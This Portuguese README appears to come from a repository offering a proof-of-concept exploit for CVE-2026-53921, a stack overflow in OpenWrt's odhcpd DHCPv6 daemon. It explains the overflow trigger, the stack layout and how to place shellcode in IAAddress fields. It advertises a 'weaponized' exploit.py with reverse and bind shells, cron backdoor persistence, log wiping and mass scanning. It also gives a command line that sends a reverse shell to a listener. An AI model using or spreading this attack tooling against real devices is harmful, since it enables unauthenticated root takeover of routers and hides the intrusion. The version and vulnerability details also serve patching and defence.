CVE-2026-53921

CVE-2026-53921 – Estouro de Pilha no odhcpd

Apenas para fins educacionais e testes autorizados. O uso não autorizado é ilegal.**

Visão Geral da Vulnerabilidade

CVE-2026-53921 é um estouro de buffer de pilha crítico no daemon odhcpd do OpenWrt – o servidor padrão de DHCPv6/DHCPv4/RA.

Como funciona

A vulnerabilidade existe no código de tratamento de mensagens DHCPv6 do odhcpd, especificamente nas funções build_ia() e dhcpv6_ia_handle_IAs().

Análise Técnica Aprofundada

1. A Causa Raiz

O bug ocorre durante a serialização (empacotamento) dos pacotes DHCPv6 Reply. Quando o odhcpd responde às solicitações do cliente, ele constrói a resposta em um buffer de pilha de tamanho fixo de 512 bytes sem a devida verificação de limites.

// Representação simplificada do código vulnerável

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // Sem verificação de limites antes da escrita
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. Disparando o Estouro

Um atacante envia um DHCPv6 Request (ou Solicit) com:

5 ou mais opções IA_NA (Identity Association for Non-temporary Address), cada uma contendo uma subopção IAAddress.
22 ou mais opções IA_PD (Identity Association for Prefix Delegation).

Cada opção consome espaço na pilha à medida que o odhcpd constrói sua Reply. Os dados acumulados excedem 512 bytes, causando o estouro.

3. Dois Vetores de Estouro

Vetor Gatilho Ponto de Estouro

Site 1 5 opções IA_NA build_ia() para IA_NA com endereços IPv6

Site 2 22 opções IA_PD `build_ia()` para IA_PD

A causa raiz é idêntica, mas o estouro ocorre em caminhos de código diferentes, tornando ambos os vetores igualmente exploráveis.

4. Layout de Memória

Layout da Pilha (simplificado):

+-------------------+  <-- Endereços altos
|  Endereço de Retorno |  ← Sobrescrito com valor controlado pelo atacante
+-------------------+
|  Ptr de Frame Salvo  |
+-------------------+
|  Variáveis Locais  |  ← buffer de 512 bytes
+-------------------+  <-- Endereços baixos

O atacante sobrescreve o endereço de retorno salvo para apontar para seu shellcode na memória.

5. Requisitos de Exploração

Requisito Descrição

Acesso à Rede O atacante deve ter conectividade IPv6 com o alvo

Autenticação Nenhuma -- ataque não autenticado

Privilégios O odhcpd é executado como root, então RCE concede controle total do sistema

Serviço Alvo A porta UDP 547 (DHCPv6) deve estar aberta

6. Posicionamento do Shellcode

Em um exploit real, o shellcode do atacante é colocado nos campos de endereço IPv6 do IAAddress (16 bytes por IA_NA). Os pacotes elaborados empacotam o shellcode, o NOP sled e o endereço de retorno nesses campos.

Estrutura IA_NA Elaborada:

+-------------------+
| Cabeçalho IA_NA   | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Endereço de retorno
+-------------------+
| IAAddress 5       | ← Endereço de retorno
+-------------------+

7. Cadeia de Impacto

Requisição DHCPv6 Elaborada
         ↓
odhcpd processa opções IA_NA/IA_PD
         ↓
Buffer de pilha de 512 bytes estoura
         ↓
Endereço de retorno sobrescrito
         ↓
CPU salta para o shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Comprometimento total do sistema (privilégios de root)

8. Vetores de Ataque vs. Status de Mitigação

Versão Status RCE Possível?

odhcpd < e432dd6 Vulnerável [+] Sim OpenWrt < 24.10.8 Vulnerável [+] Sim OpenWrt < 25.12.5 Vulnerável [+] Sim OpenWrt 24.10.8+ Corrigido [-] Não OpenWrt 25.12.5+ Corrigido [-] Não odhcpd master + e432dd6 Corrigido [-] Não

9. Exploração no Mundo Real

Esta vulnerabilidade é particularmente perigosa porque:

O odhcpd está habilitado por padrão em instalações OpenWrt.
Nenhuma autenticação é necessária---qualquer dispositivo no mesmo segmento IPv6 pode atacar.
O bug está no caminho de processamento de requisições.
Stack canaries e ASLR raramente estão presentes em dispositivos MIPS/ARM embarcados.
O exploit pode contornar defesas comuns em muitos ambientes embarcados.

Versões afetadas

Componente	Versões vulneráveis	Corrigido em
`odhcpd` (branch master)	antes do commit `e432dd6`	`e432dd6` ou posterior
Versões do OpenWrt	< 24.10.8 < 25.12.5	24.10.8 & 25.12.5

Ferramentas

Este repositório fornece dois scripts independentes:

Script	Propósito	Código de exploit	Segurança
`verifier.py`	Verificação de vulnerabilidade não intrusiva	[-] Não	[+] Seguro
`exploit.py`	Exploit completo weaponizado	[+] Sim	[!] Perigoso

`verifier.py` – Verificador de Vulnerabilidade

Envia um DHCPv6 Solicit padrão para verificar se o serviço está ativo.
Lê banners HTTP/SSH para detectar a versão do OpenWrt.
Compara a versão com o intervalo vulnerável conhecido.
Não envia nenhum payload de estouro ou shellcode.

`exploit.py` – Exploit Completo

Vetores de estouro duplo: IA_NA (Site1) e IA_PD (Site2).
Detecção automática de arquitetura (MIPS / ARM).
Shellcode reverse & bind para MIPS big‑endian.
Suporte para proxy SOCKS5.
Persistência (backdoor via cron) e limpeza de logs.
Escaneamento com threads e exploração em massa.
Codificação opcional de payload (XOR).

Instalação

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

Uso

Verificador – verifica se um alvo é vulnerável

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

Exploit – obtém um reverse shell (não use para atividades ilegais, apenas teste adv)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

Opções de Linha de Comando

`verifier.py`

Argumento	Descrição
`-u, --target`	Endereço IPv6 alvo (obrigatório)
`-i, --iface`	Interface de rede (padrão: eth0)

Mais Populares

Sobre

CVE-2026-53921-PoC-Exploit